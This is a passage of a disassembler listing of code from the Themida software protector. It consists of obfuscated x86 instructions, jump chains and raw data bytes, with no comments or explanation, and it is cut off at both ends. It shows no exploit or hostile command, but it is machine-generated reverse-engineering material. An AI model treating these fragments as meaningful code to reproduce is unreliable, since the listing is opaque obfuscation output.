4 mov [esp], ebp jmp loc_55DCA3 ; --------------------------------------------------------------------------- loc_5588E4: ; CODE XREF: Themida_:0056628Ej add esp, 4 jmp loc_56698D ; --------------------------------------------------------------------------- loc_5588EF: ; CODE XREF: Themida_:0055EBFCj pop eax jmp loc_5581C9 ; --------------------------------------------------------------------------- aHvu db '^hvU',0 dw 8900h dd 6855240Ch, 55A1179Eh, 81D5F75Dh, 0A117A3C5h, 0F326E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558912: ; CODE XREF: Themida_:00559A79j sub bh, 87h push ecx mov ch, 94h dec ch inc ch push eax mov al, 7Ch push ebx mov bl, 61h jmp loc_562FEB ; --------------------------------------------------------------------------- loc_558927: ; CODE XREF: Themida_:0056B296j mov ebx, 4BC02CAFh jmp loc_5598C9 ; --------------------------------------------------------------------------- loc_558931: ; CODE XREF: Themida_:0055A9B7j push edi push esi jmp loc_56B5BD ; --------------------------------------------------------------------------- dd 3AFDBD55h, 0EB892AD0h, 62B3685Dh, 0D3E90000h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55894B: ; CODE XREF: Themida_:005668CCj pop edx shr edx, 1 jmp loc_56D303 ; --------------------------------------------------------------------------- loc_558953: ; CODE XREF: Themida_:00563155j push edx mov edx, esp add edx, 4 push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp] jmp loc_56C353 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 36E9240Ch, 0D100001Bh, 803BE9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558982: ; CODE XREF: Themida_:0055EDCCj add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] jmp loc_55D8EA ; --------------------------------------------------------------------------- loc_558997: ; CODE XREF: Themida_:00557B14j add eax, ebx jmp loc_567607 ; --------------------------------------------------------------------------- loc_55899E: ; CODE XREF: Themida_:00560017j mov dh, 0B6h mov al, 0C6h add al, dh pop edx mov dh, al pop eax jmp loc_56C735 ; --------------------------------------------------------------------------- loc_5589AD: ; CODE XREF: Themida_:0056A340j push 50A76FBAh mov ebp, [esp] add esp, 4 or ebp, 52B31932h jo loc_55B2C9 or ebp, 37F250Bh jmp loc_5637A8 ; --------------------------------------------------------------------------- loc_5589CF: ; CODE XREF: Themida_:0055D08Cj xor esi, ebx pop ebx push eax jmp loc_5664A5 ; --------------------------------------------------------------------------- loc_5589D8: ; CODE XREF: Themida_:0056034Cj push edx mov edx, 73E86566h not edx and edx, 3F662A8Fh jmp loc_563C3F ; --------------------------------------------------------------------------- loc_5589EB: ; CODE XREF: Themida_:0056030Dj mov edi, 4 add edx, edi jmp loc_55EFF2 ; --------------------------------------------------------------------------- loc_5589F7: ; CODE XREF: Themida_:00565C6Cj pop edi xchg ebx, [esp] pop esp add esi, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx jmp loc_55CA01 ; --------------------------------------------------------------------------- dw 2C89h dd 81E58924h, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 4812424h dd 424h, 24048F00h, 4240481h, 0FF000000h, 348B2434h, 4C48324h dd 8904EC83h, 0E6892434h, 4C681h, 0C6830000h, 24348704h dd 4565685Ch, 1C890000h, 0C755E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558A6A: ; CODE XREF: Themida_:0055A179j mov edx, 7DE66A2Fh jmp loc_566F54 ; --------------------------------------------------------------------------- loc_558A74: ; CODE XREF: Themida_:00558FF8j mov ebp, [esp] push ebx jmp loc_558527 ; --------------------------------------------------------------------------- db 53h, 0BBh, 7Ah dd 29DA9FC2h, 0F8315BDFh, 0F139E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A8E: ; CODE XREF: Themida_:0056D029j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push dword ptr [esp] mov esi, [esp] add esp, 4 push eax push esp pop eax add eax, 4 push ecx push esi mov esi, 4 mov ecx, esi pop esi add eax, 41F63494h add eax, ecx sub eax, 41F63494h pop ecx xchg eax, [esp] pop esp push edi sub esp, 4 jmp loc_56841C ; --------------------------------------------------------------------------- loc_558ADC: ; CODE XREF: Themida_:0055F6F7j push dword ptr [esp] pop edx push 7EE5h mov [esp], edi jmp loc_56B09C ; --------------------------------------------------------------------------- loc_558AED: ; CODE XREF: Themida_:005658A1j mov ecx, esi pop esi neg ecx jmp loc_56AB56 ; --------------------------------------------------------------------------- loc_558AF7: ; CODE XREF: Themida_:0056B69Bj mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax push 324Bh mov [esp], eax not dword ptr [esp] jmp loc_55DEA2 ; --------------------------------------------------------------------------- loc_558B13: ; CODE XREF: Themida_:005563F5j mov [esp], edi push dword ptr [esp+4] jmp loc_5619DE ; --------------------------------------------------------------------------- loc_558B1F: ; CODE XREF: Themida_:0055EFE3j mov [esp], edi sub esp, 4 jmp loc_55F014 ; --------------------------------------------------------------------------- loc_558B2D: ; CODE XREF: Themida_:0056111Fj sub bl, 75h add bl, al add bl, 75h add bl, 7Ch push ecx jmp loc_564389 ; --------------------------------------------------------------------------- loc_558B3E: ; CODE XREF: Themida_:0056B7AEj mov [esp], edi mov edi, 4 push edi pop ebp push dword ptr [esp] pop edi add esp, 4 add edx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax push 2379h mov [esp], ebx push 37BB2C8Bh pop ebx add ebx, 0C844D379h mov eax, ebx jmp loc_557200 ; --------------------------------------------------------------------------- loc_558B7B: ; CODE XREF: Themida_:00569F78j and ebp, 68B852F9h jmp loc_56A609 ; --------------------------------------------------------------------------- loc_558B86: ; CODE XREF: Themida_:00562960j not ecx push edi jmp loc_559137 ; --------------------------------------------------------------------------- loc_558B8E: ; CODE XREF: Themida_:0055B170j pop esi push esi mov esi, 4 sub ecx, esi jmp loc_55FD9C ; --------------------------------------------------------------------------- dd 4C381h, 2CE90000h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558BA7: ; CODE XREF: Themida_:00556A8Aj mov esp, [esp] push 1735h mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], esi push 2800h jmp loc_561727 ; --------------------------------------------------------------------------- loc_558BC4: ; CODE XREF: Themida_:0056532Ej sub dword ptr [esp], 208E3CDAh jmp loc_569583 ; --------------------------------------------------------------------------- dd 58C60159h, 0E9E08950h, 136F2h, 701303BFh, 1C7817Eh dd 0E9818FEDh, 2F38h ; --------------------------------------------------------------------------- loc_558BEC: ; CODE XREF: Themida_:0055DD69j push eax mov eax, 1 add ebp, 15700893h sub ebp, eax sub ebp, 15700893h mov eax, [esp] add esp, 4 shl ebp, 5 push ebp sub dword ptr [esp], 0FFFFFFFFh pop ebp add ebp, 0FFFFFFFFh xor ebp, 0AE171BCh push edi mov edi, 47C222DCh push edx sub esp, 4 mov [esp], ecx mov ecx, 77592805h shr ecx, 4 jmp loc_5636FB ; --------------------------------------------------------------------------- loc_558C3B: ; CODE XREF: Themida_:00567A1Cj pop eax push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] xor eax, edi xor edi, eax jmp loc_566C9F ; --------------------------------------------------------------------------- db 5Dh, 33h, 1Ch dd 241C3124h, 8B241C33h, 88642424h, 0D679E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C6E: ; CODE XREF: Themida_:005624F8j pop esi sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_55B0B6 ; --------------------------------------------------------------------------- loc_558C85: ; CODE XREF: Themida_:005586A4j add esp, 4 push eax push esp mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_561BBC ; --------------------------------------------------------------------------- loc_558CA8: ; CODE XREF: Themida_:005664CAj pop edi jmp loc_55A248 ; --------------------------------------------------------------------------- loc_558CAE: ; CODE XREF: Themida_:0056CC14j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_558CB3: ; CODE XREF: Themida_:0056AF01j mov ebx, 4 add ebp, ebx pop ebx push eax jmp loc_564BAB ; --------------------------------------------------------------------------- loc_558CC1: ; CODE XREF: Themida_:0056518Ej add edi, 0B48079h add esi, edi pop edi jmp loc_5592DD ; --------------------------------------------------------------------------- loc_558CCF: ; CODE XREF: Themida_:00561BF2j jmp loc_564A12 ; --------------------------------------------------------------------------- loc_558CD4: ; CODE XREF: Themida_:00561AD8j mov ebp, edx pop edx inc ebp shr ebp, 7 sub ebp, 0B4B7BCAAh push ebp mov ebp, 5DC9440Fh xchg edi, ebp not edi xchg edi, ebp add ebp, 48D5102Eh or ebp, 5DBD363Bh shl ebp, 7 add ebp, 65FFF166h add edx, ebp pop ebp add edx, 3BEF0346h jmp loc_559601 ; --------------------------------------------------------------------------- dd 8108E9C1h, 6682BF1h, 8BCF017Fh, 0C481240Ch, 4, 12E9C701h dd 89FFFFE7h, 4BBF243Ch, 0E958CD5Ch, 0FFFFDC4Ah, 0C1815954h dd 4, 1462DE9h db 0 ; --------------------------------------------------------------------------- loc_558D45: ; CODE XREF: Themida_:00557977j pop eax add esp, 4 push 73A4h mov [esp], edi mov edi, esp sub esp, 4 mov [esp], eax push ebx push esp pop ebx add ebx, 4 push esi mov esi, 38381EF5h not esi not esi xor esi, 38381EF1h sub ebx, esi pop esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], edi jmp loc_566F14 ; --------------------------------------------------------------------------- loc_558D8C: ; CODE XREF: Themida_:00563441j add ecx, 584C4F2Dh sub edx, ecx pop ecx add ebp, edx jmp loc_563FB5 ; --------------------------------------------------------------------------- dd 0E9241489h, 0B673h ; --------------------------------------------------------------------------- loc_558DA4: ; CODE XREF: Themida_:0056B261j mov [esp], ebx push dword ptr [esp] pop eax push 69DBh mov [esp], esi push 4D55h push esp jmp loc_569F8C ; --------------------------------------------------------------------------- loc_558DBE: ; CODE XREF: Themida_:0056741Ej add al, bh pop ebx jmp loc_56C0AA ; --------------------------------------------------------------------------- dw 0F281h dd 31432295h, 815AD789h, 971281EFh, 5655560Dh, 4E4BF7BEh dd 0E9DEF714h, 0C259h ; --------------------------------------------------------------------------- loc_558DE4: ; CODE XREF: Themida_:0056CB45j and dh, 8Dh jnp loc_56C59B sub dh, 42h mov bh, dh pop edx jmp loc_559B70 ; --------------------------------------------------------------------------- db 5Bh, 5Fh ; --------------------------------------------------------------------------- loc_558DFA: ; CODE XREF: Themida_:0056B020j mov eax, 2 sub ecx, 57051E2Ch jmp loc_55DBFB ; --------------------------------------------------------------------------- aSLslg db 'SЁ╚ИLg',0 align 2 loc_558E12: ; CODE XREF: Themida_:00569265j xor edx, 5083EBEh add eax, edx mov edx, [esp] add esp, 4 mov edx, [esp] add esp, 4 pop esi mov edx, [esp] add esp, 4 push 3C91h mov [esp], edx push ebx push 28F0239Bh pop ebx xor ebx, 202F7120h mov edx, ebx jmp loc_55C425 ; --------------------------------------------------------------------------- loc_558E52: ; CODE XREF: Themida_:0055D4E5j push dword ptr [esp] pop edi add esp, 4 jmp loc_569546 ; --------------------------------------------------------------------------- loc_558E5E: ; CODE XREF: Themida_:00556DE7j mov ebx, [esp] push ebp jmp loc_55A4BC ; --------------------------------------------------------------------------- byte_558E67 db 8Bh ; DATA XREF: Themida_:00556030o dd 7E682404h, 0E900001Eh, 13D2Fh ; --------------------------------------------------------------------------- loc_558E74: ; CODE XREF: Themida_:0055BD73j pop esi push eax jmp loc_559688 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 0B8E95E00h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E8B: ; CODE XREF: Themida_:00567B90j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax mov eax, 0D1AA9062h add ebp, eax pop eax push ebp pop ebx mov ebp, [esp] add esp, 4 push ecx mov ecx, 6C8C551Dh jmp loc_55F4C0 ; --------------------------------------------------------------------------- dw 815Ah dd 0AA368DF7h, 0A49DE98Fh, 0C7810000h, 1, 24AEF781h, 0B85025F4h dd 68354121h, 0C158C731h, 0D0E907EFh, 2900012Ch, 0CF015DE9h dd 0FFA9E9h db 0 ; --------------------------------------------------------------------------- loc_558EED: ; CODE XREF: Themida_:00562D14j mov dl, 1Ch jmp loc_55A739 ; --------------------------------------------------------------------------- loc_558EF4: ; CODE XREF: Themida_:00564527j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add edi, 2B473DBCh add edi, edx sub edi, 2B473DBCh pop edx jmp loc_56C91F ; --------------------------------------------------------------------------- loc_558F14: ; CODE XREF: Themida_:loc_560634j jmp loc_563ED6 ; --------------------------------------------------------------------------- loc_558F19: ; CODE XREF: Themida_:005645DBj add eax, 0D726113h jmp loc_567C6B ; --------------------------------------------------------------------------- db 81h dd 0B32B19C3h, 298BE91Bh, 54520000h, 4C2815Ah, 81000000h dd 4C2h, 24148700h, 0FBC1E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_558F46: ; CODE XREF: Themida_:00564821j inc ecx jmp loc_566FB0 ; --------------------------------------------------------------------------- loc_558F4C: ; CODE XREF: Themida_:0055F9DFj add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx mov dl, 0C0h jmp loc_5699F1 ; --------------------------------------------------------------------------- loc_558F62: ; CODE XREF: Themida_:0055697Dj add [edi+24h], esi push dword ptr [esp] pop esi jmp loc_557534 ; --------------------------------------------------------------------------- loc_558F6E: ; CODE XREF: Themida_:0056429Dj and al, dl jmp loc_5677AE ; --------------------------------------------------------------------------- loc_558F75: ; CODE XREF: Themida_:00568A0Fj mov esi, edi pop edi sub [esp+4], esi pop esi sub [esp], eax jmp loc_55D389 ; --------------------------------------------------------------------------- loc_558F85: ; CODE XREF: Themida_:0055A89Aj pop dword ptr [esp] jmp loc_5640B4 ; --------------------------------------------------------------------------- loc_558F8D: ; CODE XREF: Themida_:0055CA06j mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55B6FC ; --------------------------------------------------------------------------- db 5Bh, 57h, 0FFh dd 5F042474h, 5C24048Fh, 51243C89h, 1EE0BF57h, 0CF68272Eh dd 8900001Fh, 2C81243Ch, 305F0E24h, 240C8B68h, 4C481h dd 5C680000h, 89000023h, 97B82404h, 0E933EF6Fh, 4387h ; --------------------------------------------------------------------------- loc_558FF0: ; CODE XREF: Themida_:0056A7D0j mov [esp], ebp push 40h jmp loc_558A74 ; --------------------------------------------------------------------------- db 51h, 57h, 0BFh dd 492F1418h, 2F9025B9h, 5030E992h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55900E: ; CODE XREF: Themida_:0055EBAFj mov ebp, 2F7A1AE7h and ebp, 57D616B9h add ebp, 6D427980h neg ebp neg ebp xor ebp, 7BA30845h jmp loc_56A55B ; --------------------------------------------------------------------------- loc_55902E: ; CODE XREF: Themida_:0056530Bj mov dl, 9Ch xor dl, 0EDh shl dl, 8 and dl, 8Fh or dl, 9Ch jmp loc_5608E3 ; --------------------------------------------------------------------------- db 5Eh, 55h, 0BDh dd 4, 3CD1E981h, 0E92972A5h, 3CD1C181h, 875D72A5h, 248B240Ch dd 48F5424h, 7F076824h, 14890000h, 4BA24h, 54010000h, 0E95A0424h dd 936h ; --------------------------------------------------------------------------- loc_559078: ; CODE XREF: Themida_:005657E8j sub edi, ecx pop ecx mov ebp, [esp] add esp, 4 xchg edi, [esp] jmp loc_557519 ; --------------------------------------------------------------------------- loc_55908C: ; CODE XREF: Themida_:00568150j shr ecx, 7 jmp loc_55ECDA ; --------------------------------------------------------------------------- loc_559094: ; CODE XREF: Themida_:0055A36Dj mov cl, bh jmp loc_55C477 ; --------------------------------------------------------------------------- db 0F7h dd 0DEE81D6h, 89F7D7E5h, 24348BF2h, 5E08950h, 4, 0FFDB82E9h db 0FFh ; --------------------------------------------------------------------------- loc_5590B5: ; CODE XREF: Themida_:0055DB14j add edx, ebp pop ebp pop ebx mov ecx, edx mov edx, [esp] jmp loc_5693C4 ; --------------------------------------------------------------------------- loc_5590C3: ; CODE XREF: Themida_:0056ABE6j jnb loc_56775D and ebx, 7AC2343Bh jmp loc_556ACA ; --------------------------------------------------------------------------- loc_5590D4: ; CODE XREF: Themida_:00568831j add bh, 90h pop cx jmp loc_56CF73 ; --------------------------------------------------------------------------- a8a9Soi db '╟8─ф9(фИO┬',0 align 2 loc_5590EA: ; CODE XREF: Themida_:00567BE6j mov al, 0AEh shl al, 3 sub al, 63h xor al, 4Ch jmp loc_55B4CF ; --------------------------------------------------------------------------- loc_5590F8: ; CODE XREF: Themida_:005666A7j add eax, 0EF9FFF14h add edx, 1FFC3F31h jmp loc_56186C ; --------------------------------------------------------------------------- loc_559108: ; CODE XREF: Themida_:00566883j push ecx mov ecx, 175B5133h sub ebp, 5138357Fh add ebp, ecx add ebp, 5138357Fh pop ecx sub ebp, 6C7E6D00h sub ebp, 44D0344Ah add esi, ebp pop ebp add esi, 4 sub esp, 4 jmp loc_558534 ; --------------------------------------------------------------------------- loc_559137: ; CODE XREF: Themida_:00558B89j mov edi, 43E44653h sub ecx, edi pop edi sub esp, 4 mov [esp], ecx not dword ptr [esp] pop ecx jmp loc_557DE9 ; --------------------------------------------------------------------------- loc_55914E: ; CODE XREF: Themida_:00559331j xor bl, 76h jmp loc_5691B0 ; --------------------------------------------------------------------------- dw 0D8BAh dd 0E9048F45h, 14296h ; --------------------------------------------------------------------------- loc_559160: ; CODE XREF: Themida_:loc_55A236j inc bh jnz loc_55B1BD jmp loc_5627C8 ; --------------------------------------------------------------------------- db 68h, 89h, 14h db 2 dup(0), 52h ; --------------------------------------------------------------------------- loc_559173: ; CODE XREF: Themida_:00567C8Cj jmp loc_56268D ; --------------------------------------------------------------------------- loc_559178: ; CODE XREF: Themida_:00562946j mov edx, [esp] add esp, 4 jmp loc_5626EB ; --------------------------------------------------------------------------- loc_559186: ; CODE XREF: Themida_:0055CB3Ej mov [esp], bx push ecx mov cl, 0C2h mov bh, cl jmp loc_56AB6C ; --------------------------------------------------------------------------- loc_559194: ; CODE XREF: Themida_:0055670Ej mov edi, esp add edi, 4 push 6E88h jmp loc_55A1FE ; --------------------------------------------------------------------------- loc_5591A6: ; CODE XREF: Themida_:0055A92Fj sub esi, edi pop edi xchg esi, [esp] jmp loc_56918D ; --------------------------------------------------------------------------- loc_5591B1: ; CODE XREF: Themida_:005570C2j sub esi, 53A94835h jnz loc_56C33D xor esi, 93F3DD7Bh jmp loc_55B9AF ; --------------------------------------------------------------------------- db 5Bh ; --------------------------------------------------------------------------- loc_5591C9: ; CODE XREF: Themida_:00567E22j and esi, eax pop eax jmp loc_56860A ; --------------------------------------------------------------------------- loc_5591D1: ; CODE XREF: Themida_:0056257Bj mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] push ebx mov ebx, esp jmp loc_56C66A ; --------------------------------------------------------------------------- loc_5591E3: ; CODE XREF: Themida_:0056C1EEj xor [esp], eax xor eax, [esp] pop esp push 0D9Eh mov [esp], ecx push 65DBh mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_562E72 ; --------------------------------------------------------------------------- loc_559216: ; CODE XREF: Themida_:00562162j pop edx push dword ptr [eax] xor dword ptr [esp], 1D923E0Ch pop ecx xor ecx, 1D923E0Ch push dword ptr [esp] pop eax add esp, 4 jmp loc_55AAE1 ; --------------------------------------------------------------------------- db 8 dd 805966CEh, 0F03065C6h, 0D3A9E95Ah, 800FFFFFh, 2378h dd 30E9D3F7h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55924F: ; CODE XREF: Themida_:00569B08j add ebx, 64CE6BD4h add ebx, 24E72189h mov eax, [esp] add esp, 4 jmp loc_562194 ; --------------------------------------------------------------------------- loc_559269: ; CODE XREF: Themida_:0056C338j pop ax xor bl, 0Fh sub al, 0B2h sub al, bl add al, 0B2h push dword ptr [esp] pop ebx add esp, 4 add al, 66h jmp loc_55680E ; --------------------------------------------------------------------------- loc_559285: ; CODE XREF: Themida_:0055F4F3j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55928A: ; CODE XREF: Themida_:0056D544j js loc_561785 shl esi, 3 shl esi, 3 xor esi, 22EB2BD7h push 6EF9h mov [esp], edi mov edi, 17F32848h shl edi, 6 jmp loc_56A1FB ; --------------------------------------------------------------------------- dd offset dword_5A1D68 align 2 dw 0CFE9h db 89h, 2 dup(0) byte_5592BB db 0FFh ; DATA XREF: Themida_:005560B0o dd 0C8B2434h, 4C48124h, 56000000h, 0EC835E54h, 0EA16E904h dd 0EB81FFFFh, 0E365AE93h, 12ED1E9h db 0 ; --------------------------------------------------------------------------- loc_5592DD: ; CODE XREF: Themida_:00558CCAj push 6D04h mov [esp], edi mov edi, 34671F72h sub esp, 4 jmp loc_5662D3 ; --------------------------------------------------------------------------- loc_5592F2: ; CODE XREF: Themida_:005652D7j push ebp push edi jmp loc_556A8F ; --------------------------------------------------------------------------- loc_5592F9: ; CODE XREF: Themida_:0056961Cj add ecx, 325F215Eh push eax mov eax, 0FFFFFFFFh sub ecx, eax pop eax dec ecx inc ecx jmp loc_567171 ; --------------------------------------------------------------------------- loc_55930F: ; CODE XREF: Themida_:00562DCCj mov [esp], ebx mov ebx, 28h sub ebx, 2E286D2Ah jmp loc_567914 ; --------------------------------------------------------------------------- loc_559322: ; CODE XREF: Themida_:005608FBj pop dx movzx eax, al lea eax, [edi+eax*4] jmp loc_568D56 ; --------------------------------------------------------------------------- loc_55932F: ; CODE XREF: Themida_:0055F659j dec bl jge loc_55914E xor bl, 76h jmp loc_55E36B ; --------------------------------------------------------------------------- db 0BAh dd 48F45D8h db 52h ; --------------------------------------------------------------------------- loc_559345: ; CODE XREF: Themida_:005618FFj xor edx, edi jmp loc_55D6C0 ; --------------------------------------------------------------------------- dd 8B0FC234h, 54B6h, 8B0FE0D0h, 72B9h, 0E1538D0Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559362: ; CODE XREF: Themida_:005666B8j push ebx push esi mov esi, 294460C8h mov ebx, esi pop esi jmp loc_563D91 ; --------------------------------------------------------------------------- db 5, 0B4h, 34h dd 0A7056D0Ah, 0E96CA710h, 0CB22h ; --------------------------------------------------------------------------- loc_559380: ; CODE XREF: Themida_:0056B764j pop esp jmp loc_569B18 ; --------------------------------------------------------------------------- loc_559386: ; CODE XREF: Themida_:0056B36Aj pop esi jmp loc_55DB74 ; --------------------------------------------------------------------------- loc_55938C: ; CODE XREF: Themida_:005578C1j pop eax add ecx, esi pop esi push 17DCh mov [esp], esi mov esi, 4 jmp loc_563833 ; --------------------------------------------------------------------------- loc_5593A2: ; CODE XREF: Themida_:00564772j mov edi, 47E37721h dec edi jmp loc_55F69F ; --------------------------------------------------------------------------- loc_5593AD: ; CODE XREF: Themida_:00557B70j neg eax jmp loc_5686E2 ; --------------------------------------------------------------------------- loc_5593B4: ; CODE XREF: Themida_:0056936Cj xor eax, 14F21574h inc eax jnp loc_5626FA or eax, 70F652EAh ja loc_55FD0C xor eax, 20300C1Bh jmp loc_5647C1 ; --------------------------------------------------------------------------- loc_5593D5: ; CODE XREF: Themida_:0056C04Ej xor eax, 6E5B1E03h push eax not dword ptr [esp] jmp loc_565CBF ; --------------------------------------------------------------------------- loc_5593E3: ; CODE XREF: Themida_:00559A71j add esp, 4 jmp loc_56AA48 ; --------------------------------------------------------------------------- loc_5593EE: ; CODE XREF: Themida_:00556B2Bj add esp, 4 sub esp, 4 mov [esp], eax push ebx mov ebx, 39807359h jmp loc_557C1E ; --------------------------------------------------------------------------- dw 0D668h dd 89000011h, 0FB89241Ch, 685BD889h, 73CBh, 52240489h dd 8836FBBAh, 5755E907h, 0F8290000h, 2404875Fh, 2434895Ch dd 6A23BA52h, 0D6892D78h, 6EEC15Ah, 4F55BB53h, 0DE214DBFh dd 4E6C15Bh, 0E9D6F74Eh, 0C2E4h ; --------------------------------------------------------------------------- loc_55944C: ; CODE XREF: Themida_:00565A83j push dword ptr [esp] push dword ptr [esp] jmp loc_561AB2 ; --------------------------------------------------------------------------- db 1 aUS db 'Н]Иф',0Dh,0 dw 8B00h dd 0C483241Ch, 0F89E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55946A: ; CODE XREF: Themida_:0055E923j mov edi, [esp] jmp loc_557C6B ; --------------------------------------------------------------------------- loc_559472: ; CODE XREF: Themida_:00561C2Cj mov esp, [esp] add edi, 4 sub esp, 4 mov [esp], ebx push edi push ebx jmp loc_55A600 ; --------------------------------------------------------------------------- loc_55948B: ; CODE XREF: Themida_:0056AC16j mov [esp], edx jmp loc_56B79F ; --------------------------------------------------------------------------- loc_559493: ; CODE XREF: Themida_:00567815j add ecx, 29A5C4FCh add edx, ecx pop ecx xchg edx, [esp] pop esp sub esp, 4 mov [esp], eax push ebx jmp loc_559D44 ; --------------------------------------------------------------------------- loc_5594AC: ; CODE XREF: Themida_:0056C3CEj or ebx, 7FCB34F5h push edi jmp loc_55BA18 ; --------------------------------------------------------------------------- loc_5594B8: ; CODE XREF: Themida_:00557F09j pop esp mov [esp], ebx push ecx push 75D471B5h pop ecx jmp loc_56BC35 ; --------------------------------------------------------------------------- loc_5594C8: ; CODE XREF: Themida_:00566BA1j ; Themida_:0056D129j neg edi jmp loc_56B6FD ; --------------------------------------------------------------------------- db 52h dd 3160BBAh, 5BE95274h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5594DB: ; CODE XREF: Themida_:0055A3EEj mov ecx, edi pop edi sub ecx, ebx jmp loc_56C8F9 ; --------------------------------------------------------------------------- loc_5594E5: ; CODE XREF: Themida_:00561102j and dh, 78h add dh, 9Bh add ah, dh pop edx mov dh, ah pop eax jmp loc_55FA5D ; --------------------------------------------------------------------------- loc_5594F6: ; CODE XREF: Themida_:0055FA58j sub esp, 4 mov [esp], edi mov edi, 500E55F9h add ebp, 7D0E4E87h add ebp, edi sub ebp, 7D0E4E87h pop edi pop esi jmp loc_56963C ; --------------------------------------------------------------------------- loc_559519: ; CODE XREF: Themida_:005689FAj mov edx, 322A1555h add edx, 4C13A9B2h jmp loc_564232 ; --------------------------------------------------------------------------- loc_559529: ; CODE XREF: Themida_:0055D342j jns loc_558711 jmp loc_55B5E3 ; --------------------------------------------------------------------------- dd 0D2DBF57h, 0FA3151F6h db 8Ah, 0C4h ; --------------------------------------------------------------------------- loc_55953E: ; CODE XREF: Themida_:loc_55ECDAj shr ecx, 1 jmp loc_55D1D2 ; --------------------------------------------------------------------------- loc_559545: ; CODE XREF: Themida_:0056BC85j pop eax push edx mov edx, 0BC01354h sub eax, edx mov edx, [esp] add esp, 4 add eax, ecx add eax, 0BC01354h pop ecx add eax, 4 xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_56C10A ; --------------------------------------------------------------------------- loc_559572: ; CODE XREF: Themida_:loc_559DB3j jmp loc_556954 ; --------------------------------------------------------------------------- loc_559577: ; CODE XREF: Themida_:00556E8Dj mov [esp], edx mov dx, 74D1h mov bp, dx pop edx jmp loc_564051 ; --------------------------------------------------------------------------- loc_559587: ; CODE XREF: Themida_:0055D25Fj xor esi, 1AEB0C4Bh mov edx, esi pop esi add ebx, edx jmp loc_5595D4 ; --------------------------------------------------------------------------- db 59h dd 240C8B56h, 4C481h, 15E0000h, 8E959CBh db 0FEh, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55EA47 ; --------------------------------------------------------------------------- loc_5595B9: ; CODE XREF: Themida_:0056AB67j pop edx add [edx+38h], ecx pop ecx pop edi push ebp mov ebp, 0F26682CEh add [edx+38h], ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_559949 ; --------------------------------------------------------------------------- loc_5595D4: ; CODE XREF: Themida_:00557490j ; Themida_:00559592j ... add ecx, 4 push edi mov edi, 2 jmp loc_55A5A3 ; --------------------------------------------------------------------------- loc_5595E5: ; CODE XREF: Themida_:00568D73j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push ecx mov ecx, 2 add ebx, ecx pop ecx jmp loc_55AEFE ; --------------------------------------------------------------------------- loc_559601: ; CODE XREF: Themida_:00558D0Bj sub edx, ebp sub edx, 3BEF0346h sub edx, 45FF10E6h mov ebp, [esp] jmp loc_564D65 ; --------------------------------------------------------------------------- loc_559617: ; CODE XREF: Themida_:0055A26Cj add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] pop ebx pop dword ptr [edi+24h] loc_55962A: ; CODE XREF: Themida_:loc_5622C8j push 25C5h mov [esp], ebp push 6093h jmp loc_560756 ; --------------------------------------------------------------------------- dword_55963C dd 240C8B66h, 10629E9h ; DATA XREF: Themida_:0055612Co db 0 ; --------------------------------------------------------------------------- loc_559645: ; CODE XREF: Themida_:005569DFj ; Themida_:loc_55974Cj add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55964D: ; CODE XREF: Themida_:005666D3j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] jmp loc_560530 ; --------------------------------------------------------------------------- loc_55965C: ; CODE XREF: Themida_:0055E225j sub ebx, 2 push 0F38h mov [esp], ebx push dword ptr [esp+4] jmp loc_561E23 ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048124h, 4, 0E9242C8Bh, 0B5A3h ; --------------------------------------------------------------------------- loc_559688: ; CODE XREF: Themida_:00558E76j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 jmp loc_56AC4C ; --------------------------------------------------------------------------- loc_5596A1: ; CODE XREF: Themida_:00562255j mov ebp, 490776B0h push edx mov edx, 